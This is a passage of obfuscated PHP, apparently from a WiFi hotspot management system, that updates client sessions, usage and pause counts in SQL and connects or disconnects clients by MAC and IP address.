\x20\x3e\40\141\x2e\x72\145\x6d\x61\151\x6e\x69\156\x67\x5f\x74\151\x6d\x65\x2c\x20\60\54\x20\x47\122\x45\101\124\105\x53\124\x28\60\54\40\x61\56\x72\145\155\141\151\156\x69\156\147\137\164\151\155\x65\x20\x2d\x20{$VBsPb}\x29\x29\54\x20\15\xa\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\40\x20\40\x61\x2e\x72\x65\x6d\141\x69\x6e\x69\156\147\137\164\x69\x6d\x65\x20\x3d\40\111\x46\x28{$VBsPb}\40\76\x20\141\x2e\x72\x65\x6d\141\151\156\151\x6e\147\137\164\x69\155\145\54\40\x30\x2c\x20\x47\122\105\x41\x54\x45\x53\x54\50\x30\x2c\x20\x61\56\162\145\x6d\141\151\x6e\x69\156\147\x5f\x74\151\x6d\x65\x20\55\40{$VBsPb}\51\x29\x2c\xd\12\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x73\x2e\x64\157\167\156\154\157\141\144\x5f\x72\141\164\145\40\x3d\40\x61\x2e\144\x6f\167\156\154\x6f\x61\144\137\x72\x61\164\x65\x2c\15\xa\40\40\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x73\x2e\x75\160\x6c\157\141\144\137\162\x61\164\x65\40\x3d\x20\141\56\x75\160\154\x6f\141\144\137\x72\x61\164\145\54\15\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\40\163\56\x75\x70\154\157\141\144\137\x61\165\x74\x6f\40\75\x20\x61\56\165\160\154\x6f\x61\x64\x5f\x61\x75\x74\x6f\54\15\xa\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x73\x2e\x64\157\x77\x6e\x6c\x6f\141\144\137\141\x75\x74\x6f\x20\75\40\x61\56\x64\x6f\167\x6e\154\x6f\x61\144\137\x61\x75\x74\157\54\15\12\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\163\56\144\157\167\x6e\x6c\157\141\x64\x5f\165\163\x61\147\x65\40\75\x20\x61\x2e\144\x6f\x77\156\x6c\x6f\141\144\137\165\x73\141\x67\x65\x2c\xd\xa\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\163\x2e\165\160\x6c\x6f\141\x64\x5f\x75\x73\x61\147\x65\40\x3d\40\141\x2e\165\160\x6c\157\x61\144\137\x75\x73\x61\x67\x65\54\15\12\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\141\56\145\x78\x70\151\x72\141\164\x69\157\x6e\137\144\141\x74\145\x20\75\40\x73\56\x65\x78\160\x69\162\x61\x74\151\x6f\x6e\137\144\x61\x74\x65\54\15\xa\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\x20\141\x2e\141\x6c\x6c\x6f\167\137\x70\x61\x75\163\145\x20\75\x20\163\x2e\x61\x6c\x6c\157\167\137\160\141\x75\x73\x65\x2c\xd\12\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\x20\x20\40\x61\x2e\x61\x6c\154\x6f\x77\x5f\x63\157\156\166\145\162\163\x69\157\x6e\x20\x3d\x20\163\x2e\x61\x6c\x6c\x6f\x77\137\x63\157\156\166\145\x72\163\151\x6f\156\x2c\15\12\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x61\x2e\x61\154\154\157\x77\137\163\x68\141\162\151\156\147\x20\75\x20\x73\x2e\x61\x6c\154\x6f\x77\137\x73\x68\x61\x72\x69\x6e\147\54\15\12\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\163\x2e\x61\x64\x6d\151\156\137\160\x61\x75\x73\x65\137\x6f\166\145\162\162\x69\144\145\40\x3d\x20\141\x2e\141\144\155\x69\x6e\x5f\160\x61\x75\x73\145\x5f\x6f\x76\x65\x72\x72\151\x64\145\x2c\xd\12\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x73\x2e\142\141\156\x64\167\151\144\x74\150\137\154\151\155\151\164\40\x3d\x20\141\56\x62\141\156\144\167\151\x64\164\x68\137\154\x69\x6d\151\x74\54\15\xa\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\x20\x73\x2e\x70\x61\165\163\145\x5f\143\x6f\x75\x6e\x74\x20\x3d\40\x28\103\101\123\105\x20\127\x48\105\x4e\40\x73\x2e\164\x79\160\x65\40\75\40\x31\x20\x54\110\105\x4e\x20\x73\x2e\160\141\x75\x73\145\x5f\143\x6f\165\x6e\164\40\x45\x4c\123\105\x20\x30\40\105\x4e\104\x29\x2c\xd\xa\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\40\x61\x2e\x70\x61\165\x73\145\x5f\143\x6f\x75\156\164\40\x3d\40\x28\103\101\x53\x45\40\127\x48\x45\116\x20\163\56\164\171\160\145\x20\x3d\x20\x31\x20\124\110\105\116\40\163\x2e\x70\x61\165\x73\145\137\x63\157\165\x6e\164\x20\105\x4c\x53\105\x20\x30\x20\105\116\104\x29\x2c\15\xa\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x61\56\x74\x79\x70\145\40\x3d\40\163\56\x74\x79\160\x65\54\xd\xa\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\40\40\40\x20\40\40\40\x61\56\x73\x74\x61\164\165\163\x20\75\40\50\x43\x41\123\x45\x20\xd\12\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\127\x48\105\116\x20\x73\x2e\x73\164\x61\x74\165\x73\x20\x3d\40\60\40\124\110\105\x4e\x20\x61\x2e\163\164\x61\164\x75\x73\15\12\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x57\110\x45\x4e\x20\x73\56\145\x78\160\151\162\x61\164\x69\157\x6e\x5f\144\x61\x74\145\40\111\x53\x20\116\125\x4c\x4c\x20\x54\110\x45\x4e\40\141\56\163\164\x61\x74\165\163\15\12\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\x57\x48\105\x4e\x20\50\163\56\145\x78\160\151\162\x61\x74\x69\x6f\156\x5f\144\x61\164\145\40\76\x20\x4e\x4f\x57\50\x29\51\x20\x54\110\x45\116\40\50\xd\12\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\40\40\40\40\40\x43\101\x53\105\40\x57\x48\x45\x4e\x20\x61\x2e\163\164\x61\x74\x75\x73\x20\75\40\x34\40\124\110\x45\116\x20\62\x20\x45\x4c\x53\105\40\141\x2e\163\x74\x61\x74\x75\x73\40\105\x4e\x44\15\12\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x29\x20\xd\12\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\40\105\x4c\x53\x45\40\x34\xd\xa\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x45\116\x44\51\x2c\15\xa\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\40\x20\40\40\40\x20\163\56\144\141\x74\x61\x20\x3d\x20\x61\56\x64\x61\x74\141\xd\xa\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x57\110\105\x52\105\40\x73\56\x69\144\x20\x3d\40\141\56\163\x65\x73\163\x69\157\156\x5f\x69\x64\x20\101\116\104\x20\141\56\163\164\x61\x74\x75\163\40\x3d\x20\x31"); goto F0rxS; FqIzj: $gX6_B = true; goto QwfEA; d0x8X: $gX6_B = true; goto w14vk; f0MUc: foreach ($Q46rb as $TkqeU) { goto OPtSp; OPtSp: $cQDNl = "\x63\x6f\x6e\156\145\143\x74"; goto mcPum; r6K0c: $kI7ec->{$cQDNl}(); goto UQ7z5; mcPum: $kI7ec = new SessionManager($TkqeU, $cQDNl); goto r6K0c; UQ7z5: nCb6J: goto Cd43Z; Cd43Z: } goto isCuH; StvlY: foreach ($hgaXW as $jzxYf) { goto WQZrD; NOo0J: $Y6g_u[] = ["\151\x64" => $jzxYf->id, "\155\x61\143" => $jzxYf->mac, "\151\x70\x5f\x61\x64\144\x72\x65\163\163" => $jzxYf->ip_address]; goto WV34W; xI6D2: $TkqeU = ConnectionSession::find($jzxYf->session_id); goto ofgqk; QAsMN: $jzxYf->delete(); goto NOo0J; WQZrD: $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto Tr6x1; A7lZT: OldConnectionSession::create($TkqeU->toArray()); goto B4YDO; ofgqk: if (!$TkqeU) { goto ZQ1s4; } goto A7lZT; Tr6x1: zkUeT($jzxYf); goto xI6D2; B4YDO: $TkqeU->delete(); goto gtdvi; gtdvi: ZQ1s4: goto QAsMN; WV34W: tpyBv: goto sx0mQ; sx0mQ: } goto Wahlv; ZjuUI: if (!$BE75D->autoRemoveExpiredSessions()) { goto i4mXq; } goto ZHUDI; Iibtg: $x_A7k = ActiveClient::whereRaw(join("\40\117\122\x20", $YhiC2))->get(); goto jibNg; k08y9: i4mXq: goto Ie6j6; OK096: if (!$WRn20) { goto badBw; } goto MiUXw; isCuH: QzoZu: goto yFOOv; kmG8H: $dChtB = ConnectionSession::whereRaw("\x4c\105\116\x47\124\110\x28\x54\122\111\115\50\x6d\141\143\51\x29\40\74\75\x20\60")->get(); goto mUcn8; FFV98: PisofiHelper::publishEvent("\x6f\156\x63\154\x69\x65\x6e\164\x64\x69\163\143\157\156\156\145\x63\164\x65\144", ["\143\x6c\151\145\x6e\x74\163" => $Y6g_u]); goto NDNIS; Brii7: $hgaXW = ActiveClient::whereRaw("\x28\x73\164\x61\164\165\x73\x20\x3d\x20\61\40\101\x4e\x44\40\x72\x65\x6d\x61\151\x6e\151\156\x67\137\x74\x69\x6d\145\x20\74\x3d\40\60\40\101\x4e\104\x20\164\171\x70\x65\x20\x3d\40\x31\51\40\x4f\122\x20\50\40\163\164\141\164\165\163\x20\75\x20\61\x20\101\116\x44\40\x28\x64\157\x77\156\x6c\157\141\x64\137\165\163\x61\x67\x65\40\53\40\165\x70\154\x6f\141\144\137\x75\x73\141\147\145\51\40\76\x20\x62\141\x6e\144\167\151\144\164\150\x5f\x6c\x69\x6d\151\x74\40\101\x4e\x44\x20\x74\171\160\145\x20\75\x20\x32\x29\40\117\x52\40\50\x20\x73\164\x61\x74\x75\x73\40\x3d\x20\x31\x20\x41\x4e\104\40\x62\x61\x6e\x64\167\x69\x64\164\x68\x5f\154\x69\x6d\151\164\40\x3c\75\40\60\40\101\x4e\x44\x20\x74\171\160\x65\x20\75\40\62\x29\x20\117\x52\x20\50\x73\x74\141\x74\x75\163\x20\75\x20\60\x29\x20{$WJjIp}")->get(); goto StvlY; nW5uW: DB::update("\xd\xa\40\x20\40\40\40\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\125\120\104\x41\124\x45\40\141\143\164\x69\166\x65\x5f\143\154\151\145\x6e\164\x73\x20\141\x2c\40\x75\163\141\147\x65\x73\40\x75\15\12\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\x53\x45\x54\15\xa\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x61\56\x64\x6f\167\156\x6c\x6f\141\x64\137\x75\x73\x61\147\x65\40\x3d\40\165\x2e\144\157\x77\x6e\154\157\x61\144\x5f\165\x73\141\147\x65\54\xd\12\x20\x20\40\x20\40\40\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\141\x2e\x75\160\x6c\x6f\141\x64\137\165\163\x61\147\145\x20\75\40\165\x2e\x75\x70\x6c\x6f\x61\x64\x5f\165\x73\141\147\145\xd\12\40\40\40\x20\x20\40\x20\40\40\40\40\x20\40\40\40\40\x20\x20\x20\x20\x57\x48\x45\x52\x45\x20\x61\x2e\x6d\141\143\40\x3d\x20\165\x2e\x6d\141\143\40\x41\116\104\40\x61\x2e\151\160\x5f\x61\144\144\x72\145\163\163\40\x3d\40\165\56\151\x70\x5f\141\x64\x64\x72\x65\163\x73\40\101\116\x44\x20\141\x2e\x73\164\141\164\x75\x73\x20\75\40\61"); goto ckXp4; U2BpQ: badBw: goto EJOmq; Mv2Cc: $YhiC2[] = "\40\x28\40\163\164\x61\x74\165\163\x20\75\40\x32\40\101\116\x44\40\164\x79\160\145\40\x3d\x20\61\x20\x41\116\104\x20\141\144\155\x69\x6e\137\x70\x61\165\x73\x65\x5f\x6f\166\x65\x72\162\x69\144\145\x20\x3d\x20\x30\40\101\x4e\104\x20\162\145\x6d\x61\x69\156\151\156\147\137\164\x69\x6d\x65\x20\74\40{$NzYsc}\40\51\40"; goto p9dUa; nFaDP: DOqWs: goto rQ_sD; wdEfw: mHArs: goto nW5uW; sCTv8: o9Z8e: goto dDvMP; xqqjk: if (!($x_A7k->count() > 0)) { goto Ol2zv; } goto yqgbp; jaIB4: u5puT: goto YZeSj; mUcn8: foreach ($dChtB as $cp1yj) { goto hrufP; fL1Rx: $cp1yj->mac = $l9NZf->mac; goto gkaP_; EHyQd: goto iz7JH; goto OGcdJ; V_XaC: $cp1yj->save(); goto kOOtN; gkaP_: $cp1yj->save(); goto CMAx4; hrufP: $jh9vu = false; goto cZ7qX; RcD1b: $cp1yj->delete(); goto EHyQd; LeUf3: $MsMBj = ConnectionSession::where("\151\x70\137\x61\x64\144\x72\x65\x73\163", $cp1yj->ip_address)->first(); goto QdYr4; PQ92B: $cp1yj->save(); goto Gdw5B; otx6m: FuI64: goto Zvw9p; Zvw9p: dtnOf: goto xyNPg; Gdw5B: iz7JH: goto ytxN5; QdYr4: if ($MsMBj) { goto uM6os; } goto RcD1b; lgptd: $MsMBj = ConnectionSession::where("\x63\154\151\x65\x6e\164\x5f\151\x64", $cp1yj->client_id)->first(); goto og_iY; OGcdJ: uM6os: goto CgcMf; ytxN5: M4uUC: goto C5y2c; eJtO_: uf870: goto T6YtQ; CgcMf: $cp1yj->mac = $MsMBj->mac; goto PQ92B; ormFd: if ($l9NZf) { goto FyLip; } goto lgptd; XQlo9: $cp1yj->mac = $MsMBj->mac; goto V_XaC; T6YtQ: goto FuI64; goto UOfJz; xyNPg: if ($jh9vu) { goto M4uUC; } goto LeUf3; og_iY: if (!$MsMBj) { goto uf870; } goto XQlo9; m4dPL: $l9NZf = ClientAccount::find($cp1yj->client_id); goto ormFd; CMAx4: $jh9vu = true; goto otx6m; UOfJz: FyLip: goto fL1Rx; kOOtN: $jh9vu = true; goto eJtO_; cZ7qX: if (empty(trim($cp1yj->client_id))) { goto dtnOf; } goto m4dPL; C5y2c: OUrJp: goto NbiE1; NbiE1: } goto gQutk; NeZdn: if (!(count($pr2v9) > 0)) { goto bipib; } goto FqIzj; QwfEA: bipib: goto xQ8Mw; MiL7I: foreach ($pr2v9 as $qnD3u) { goto Azt4c; gZg6s: $kI7ec->{$cQDNl}(); goto uu5Eg; zoCgK: $kI7ec = new SessionManager($qnD3u, $cQDNl); goto gZg6s; uu5Eg: f72Nl: goto hkvDq; P05i6: $cQDNl = "\143\x6f\x6e\156\x65\143\x74"; goto zoCgK; Azt4c: echo "\x41\165\164\x6f\x20\103\157\x6e\164\151\156\165\145\40\x53\145\163\163\x69\x6f\156\x20{$qnD3u->id}" . PHP_EOL; goto P05i6; hkvDq: } goto SbW7R; mv0RN: $gX6_B = true; goto DiWw_; wwjG3: $pr2v9 = ConnectionSession::whereRaw("\151\x64\x20\x49\116\40\x28\xd\12\x20\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\123\105\114\105\x43\124\x20\115\x49\116\x28\x69\x64\51\x20\x6d\151\x6e\137\151\x64\x20\x46\x52\117\x4d\x20\x63\157\x6e\x6e\x65\143\x74\151\157\156\x5f\163\x65\163\x73\151\x6f\x6e\x73\15\12\x20\40\x20\40\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\127\x48\x45\122\105\40\50\103\x41\123\105\40\xd\12\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\127\110\105\116\x20\145\170\x70\151\x72\141\164\151\157\156\137\x64\x61\164\145\40\111\x53\x20\116\x55\114\114\x20\124\110\105\x4e\x20\x73\x74\141\164\165\163\15\12\40\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\40\127\x48\x45\x4e\40\50\145\170\x70\x69\x72\x61\x74\x69\x6f\156\137\x64\141\x74\x65\x20\76\75\40\x4e\117\127\50\x29\51\40\x54\x48\x45\x4e\40\163\164\x61\164\x75\163\15\xa\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\40\105\114\x53\x45\40\x34\15\xa\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\105\x4e\x44\51\x20\x3c\76\x20\x34\15\xa\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x47\x52\117\125\x50\x20\x42\131\40\x43\117\x4e\x43\x41\x54\50\155\141\143\x2c\40\x69\160\137\141\144\x64\162\x65\x73\x73\51\xd\xa\x20\40\40\40\40\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x29\x20\x41\x4e\x44\x20\50\155\x61\143\54\40\x69\160\x5f\141\144\144\x72\145\163\163\x29\x20\116\x4f\x54\40\x49\x4e\x20\x28\x53\x45\114\x45\x43\124\x20\x6d\x61\x63\54\40\x69\160\137\141\144\144\x72\x65\163\163\x20\106\x52\117\115\x20\x61\x63\164\x69\x76\x65\137\143\154\151\x65\x6e\x74\x73\51\x20\xd\xa\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x41\116\104\x20\50\x43\101\x53\105\40\xd\xa\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\127\x48\x45\x4e\x20\x65\x78\x70\151\162\x61\x74\x69\x6f\156\x5f\x64\x61\164\x65\40\x49\123\40\x4e\125\x4c\114\40\124\x48\105\116\40\x73\164\x61\164\165\163\xd\12\40\40\40\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\127\x48\105\x4e\40\x28\145\170\x70\x69\x72\141\x74\x69\157\156\x5f\x64\x61\x74\145\x20\x3e\75\40\116\x4f\127\50\x29\x29\40\124\110\x45\x4e\40\x73\x74\141\x74\x75\163\15\12\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x45\114\123\105\x20\x34\15\xa\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\105\x4e\x44\51\x20\x3c\76\40\x34\40\x41\116\104\x20\114\x45\116\107\124\x48\50\x54\122\x49\115\x28\155\x61\143\x29\51\x20\x3e\40\60\xd\xa\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20")->get(); goto MiL7I; rzYiH: p_JRv: goto mv0RN; yqgbp: foreach ($x_A7k as $g2UXO) { goto PGvTt; b2k0f: y2AgK: goto ghXUT; PGvTt: $Q9NQK = $Thdr9->connect($g2UXO->mac, $g2UXO->ip_address, $g2UXO->mark, $g2UXO->download_rate, $g2UXO->upload_rate, $g2UXO->download_rate); goto t_OgJ; t_OgJ: $g2UXO->status = 1; goto i6hhQ; i6hhQ: $g2UXO->save(); goto b2k0f; ghXUT: } goto By0va; dDvMP: if (!$BE75D->autoContinue()) { goto soWbM; } goto wwjG3; gQutk: kXSdu: goto UfBo6; p9dUa: YH1Q_: goto bSIQJ; Wahlv: LDpZD: goto ZjuUI; riPFE: LqzON: goto nFQYK; c0B75: foreach ($hgaXW as $jzxYf) { goto w5h_P; AaoFo: $jzxYf->delete(); goto r3zPj; svVWX: $gX6_B = true; goto nCBsF; r3zPj: $Y6g_u[] = ["\151\144" => $jzxYf->id, "\x6d\x61\143" => $jzxYf->mac, "\151\x70\x5f\141\x64\x64\x72\145\x73\x73" => $jzxYf->ip_address]; goto svVWX; nCBsF: lcisx: goto fAtpZ; md6YR: zKUeT($jzxYf); goto AaoFo; w5h_P: $Q9NQK = $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto md6YR; fAtpZ: } goto sCTv8; vQ_so: $YhiC2 = []; goto OK096; xQ8Mw: soWbM: goto LK0sQ; sLytr: foreach ($x_A7k as $g2UXO) { goto Ct6Gc; jzsxs: $g2UXO->save(); goto epUXb; Ct6Gc: $Q9NQK = $Thdr9->connect($g2UXO->mac, $g2UXO->ip_address, $g2UXO->mark, $g2UXO->download_rate, $g2UXO->upload_rate, $g2UXO->download_rate); goto QTnVK; QTnVK: $g2UXO->status = 1; goto jzsxs; epUXb: UNqJx: goto QY8it; QY8it: } goto rzYiH; nFQYK: $hgaXW = ActiveClient::whereRaw("\40\163\x65\163\x73\x69\x6f\x6e\137\x69\x64\x20\116\117\x54\40\111\116\40\x28\163\145\154\x65\x63\x74\40\x69\144\40\146\162\157\x6d\x20\143\157\x6e\x6e\145\x63\164\x69\157\x6e\x5f\163\145\x73\163\151\157\156\x73\51\x20\x4f\x52\40\163\x65\x73\x73\151\x6f\x6e\x5f\x69\x64\x20\x49\x53\x20\116\125\x4c\x4c\x20\117\122\x20\x4c\105\x4e\107\x54\x48\50\124\x52\x49\x4d\x28\155\141\143\x29\x29\40\74\x3d\40\x30")->get(); goto c0B75; Nmo4Z: $YhiC2[] = "\40\x28\40\x70\x61\165\x73\145\137\x63\157\165\x6e\164\x20\76\x20{$iESPl}\51\40"; goto nFaDP; ckXp4: DB::update("\15\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x55\120\x44\x41\124\x45\x20\x63\157\156\156\145\143\164\x69\157\156\x5f\163\x65\x73\163\151\x6f\x6e\163\40\x53\105\x54\x20\x73\164\x61\164\x75\x73\40\75\x20\62\x20\15\xa\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\127\110\x45\x52\x45\x20\x73\164\x61\x74\165\163\x20\75\x20\61\x20\xd\xa\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\x41\x4e\104\x20\x69\144\x20\116\117\x54\x20\x49\116\x20\x28\x53\x45\114\105\103\x54\40\163\x65\163\x73\151\x6f\x6e\137\151\144\40\106\122\x4f\x4d\x20\141\143\x74\x69\x76\x65\x5f\143\x6c\151\x65\x6e\164\163\x20\127\110\105\122\x45\40\x28\x4e\x4f\124\40\163\x65\163\x73\151\157\156\137\151\144\40\x49\x53\x20\x4e\125\114\x4c\51\x20\x41\116\104\x20\x73\164\x61\x74\x75\x73\40\x3d\40\61\40\51\xd\12\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20"); goto WhldM; onDMu: if (!($lY2YW->maxPauseLimit() > 0)) { goto DOqWs; } goto SCKJd; By0va: ZcfCx: goto d0x8X; RmLE6: if (!(count($Q46rb) > 0)) { goto LqzON; } goto f0MUc; Ie6j6: if (!(count($hgaXW) > 0)) { goto u5puT; } goto LxFMf; UfBo6: $Q46rb = ConnectionSession::whereRaw("\x20\x69\144\x20\111\x4e\x20\x28\xd\xa\40\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\123\x45\x4c\x45\x43\124\x20\115\x49\116\50\143\x73\x2e\x69\144\51\x20\15\xa\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\40\40\40\x20\40\x46\x52\117\x4d\x20\143\157\x6e\156\x65\x63\x74\x69\157\x6e\137\x73\145\163\x73\151\157\156\x73\x20\143\x73\x20\112\117\111\x4e\40\141\143\x74\151\x76\x65\137\x63\154\x69\145\x6e\x74\163\x20\141\x63\40\xd\12\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\x4f\x4e\40\x61\143\56\x73\145\x73\x73\x69\x6f\156\x5f\x69\x64\x20\75\x20\x63\163\56\151\144\15\xa\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x57\x48\105\122\x45\x20\141\143\x2e\x60\x73\164\x61\x74\165\x73\140\x20\x3d\40\62\40\101\x4e\x44\x20\x61\143\56\x61\144\155\151\x6e\137\160\141\x75\x73\x65\137\157\166\x65\x72\x72\151\144\x65\40\x3d\40\60\40\x41\x4e\104\40\143\163\x2e\x61\x6c\154\x6f\167\x5f\160\x61\x75\163\x65\x20\75\x20\60\15\xa\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\40\40\40\40\107\122\117\x55\120\40\x42\131\x20\143\157\x6e\x63\141\x74\50\143\x73\56\151\x70\137\141\144\x64\162\145\x73\x73\54\40\x63\163\x2e\155\141\x63\51\15\xa\40\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\x29\40\x41\x4e\104\x20\163\164\x61\164\x75\x73\x20\74\76\40\x30")->get(); goto RmLE6; ZHUDI: ConnectionSession::whereRaw("\163\164\141\x74\165\163\x20\x3d\40\64\40\x4f\x52\x20\x28\x20\116\x4f\124\x20\145\170\160\x69\x72\x61\164\151\x6f\156\x5f\x64\141\x74\145\x20\111\123\x20\116\x55\114\x4c\40\x41\116\x44\x20\145\170\160\x69\162\x61\x74\151\x6f\156\x5f\x64\x61\164\145\x20\x3c\x20\116\117\x57\x28\51\40\101\x4e\x44\x20\x73\x74\x61\x74\x75\163\40\x3c\x3e\x20\60\x20\x29\x20")->delete(); goto k08y9; DiWw_: vQpCH: goto wdEfw; SCKJd: $iESPl = intval($lY2YW->maxPauseLimit()); goto Nmo4Z; LK0sQ: $x_A7k = ActiveClient::whereRaw("\50\40\163\164\141\164\165\163\x20\75\40\x32\x20\x41\x4e\104\x20\x61\x64\x6d\151\156\x5f\160\x61\165\x73\145\x5f\x6f\166\145\x72\162\151\144\x65\x20\x3d\x20\60\x20\x41\116\104\40\141\x6c\154\157\167\x5f\160\141\x75\163\x65\x20\x3d\x20\x30\40\x29\x20\117\122\40\x74\x79\160\x65\40\75\40\62")->get(); goto xqqjk; WEbYd: } catch (\Exception $tRWTQ) { echo "\133\127\111\106\x49\135\x3a\40" . date("\131\x2d\x6d\55\144\x20\x48\72\x69\x3a\x73") . "\x20\x7c\40" . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . "\x2e\x6c\157\147", date("\131\55\155\55\144\40\110\x3a\151\x3a\163") . "\40\x3a\x20" . $tRWTQ->getMessage() . "\40\x61\x74\x20\114\151\156\x65\40" . $tRWTQ->getLine() . "\40\157\x6e\x20" . $tRWTQ->getFile() . "\xd\xa"); } goto zBrCD; uO6th: upT5D: goto UQ4ky; zBrCD: try { goto kWa23; Y4V3K: $hgaXW = DesktopClient::whereRaw("\50\163\x74\x61\164\x75\x73\x20\x3d\40\61\40\x41\x4e\104\x20\162\x65\x6d\x61\x69\x6e\x69\x6e\147\137\x74\x69\x6d\x65\40\74\75\x20\x30\x29\x20\117\x52\x20\50\163\x74\141\164\x75\x73\40\x3d\x20\x30\51")->get(); goto NYsOe; bXA9n: $hgaXW = DesktopClient::whereRaw("\x28\x73\x74\x61\x74\x75\x73\x20\x3d\40\x31\x20\x41\116\x44\x20\x72\x65\x6d\141\x69\x6e\x69\156\x67\x5f\x74\x69\155\145\x20\74\x3d\40\x30\51\40\117\122\x20\50\163\x74\x61\x74\165\x73\40\x3d\40\60\x29\40\x4f\x52\x20\x28\x4c\x4f\x43\101\x54\105\50\47\144\x69\163\x63\x6f\156\156\145\x63\x74\x27\54\x64\x61\164\x61\51\x20\x3e\40\x30\x20\101\x4e\104\x20\x73\x74\141\x74\x75\x73\40\75\x20\x31\40\101\x4e\x44\40\x72\145\x6d\x61\x69\156\151\x6e\147\x5f\x74\151\155\x65\40\x3e\x20\60\x29")->get(); goto KA1_1; P_4_f: CE4A1: goto dmJvV; 